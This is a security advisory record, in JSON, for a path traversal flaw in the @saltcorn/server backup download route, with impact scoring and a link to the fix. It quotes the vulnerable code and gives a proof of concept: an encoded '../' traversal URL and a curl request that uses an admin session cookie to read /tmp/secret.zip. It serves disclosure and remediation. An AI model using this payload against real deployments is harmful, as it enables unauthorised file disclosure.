{"id":"GHSA-277h-px4m-62q8","aliases":[],"url":"https://o3.security/vulnerability/GHSA-277h-px4m-62q8","summary":"@saltcorn/server arbitrary file zip read and download when downloading auto backups","details":"### Summary\n\nA user with admin permission can read and download arbitrary zip files when downloading auto backups. The file name used to identify the zip file is not properly sanitized when passed to `res.download` API.\n\n### Details\n\n- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/admin.js#L671-L682\n\n```js\nrouter.get(\n  \"/auto-backup-download/:filename\",\n  isAdmin,\n  error_catcher(async (req, res) => {\n    const { filename } = req.params; // [1] source\n    [...]\n    if (\n      !isRoot ||\n      !(filename.startsWith(backup_file_prefix) && filename.endsWith(\".zip\")) // [2]\n    ) {\n      res.redirect(\"/admin/backup\");\n      return;\n    }\n    const auto_backup_directory = getState().getConfig(\"auto_backup_directory\");\n    res.download(path.join(auto_backup_directory, filename), filename); // [3] sink\n  })\n);\n```\n\n### Steps to reproduce (PoC)\n\n- create a file with `.zip` extension under `/tmp` folder:\n```\necho \"secret12345\" > /tmp/secret.zip\n```\n- log into the application as an admin user\n- visit the url   `http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip`\n- download the zip file and then check if the zip was indeed downloaded:\n```bash\ncat secret.zip\nsecret12345\n```\n\n \n- Alternatively send the following request to retrieve the file just created.\n```bash\ncurl -i -X $'GET' \\\n    -H $'Host: localhost:3000' \\\n    -H $'Connection: close' \\\n    -b $'connect.sid=VALID_CONNECT_SID_COOKIE' \\\n    $'http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip'\n```\n\n**NOTE**:\nTo obtain a valid `connect.sid` cookie, just open the developer console while logged and retrieve the cookie value.\n\n### Impact\n\nArbitrary zip files download (information disclosure).\n\n### Recommended Mitigation\n\nResolve the `filename` parameter before checking if it starts with `backup_file_prefix` .","published":"2024-10-03T19:46:12Z","modified":"2024-10-03T19:46:12Z","cvss":{"score":4.4,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@saltcorn/server","fixedVersion":"1.0.0-beta.14"}],"fix":{"url":"https://github.com/saltcorn/saltcorn/commit/024f19a7e079913f62f4a2335ab04116ddb68192","label":"saltcorn/saltcorn@024f19a"},"references":[{"type":"WEB","url":"https://github.com/saltcorn/saltcorn/security/advisories/GHSA-277h-px4m-62q8"},{"type":"WEB","url":"https://github.com/saltcorn/saltcorn/commit/024f19a7e079913f62f4a2335ab04116ddb68192"},{"type":"PACKAGE","url":"https://github.com/saltcorn/saltcorn"},{"type":"WEB","url":"https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/admin.js#L671-L682"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2024-10-03T19:46:12Z"}}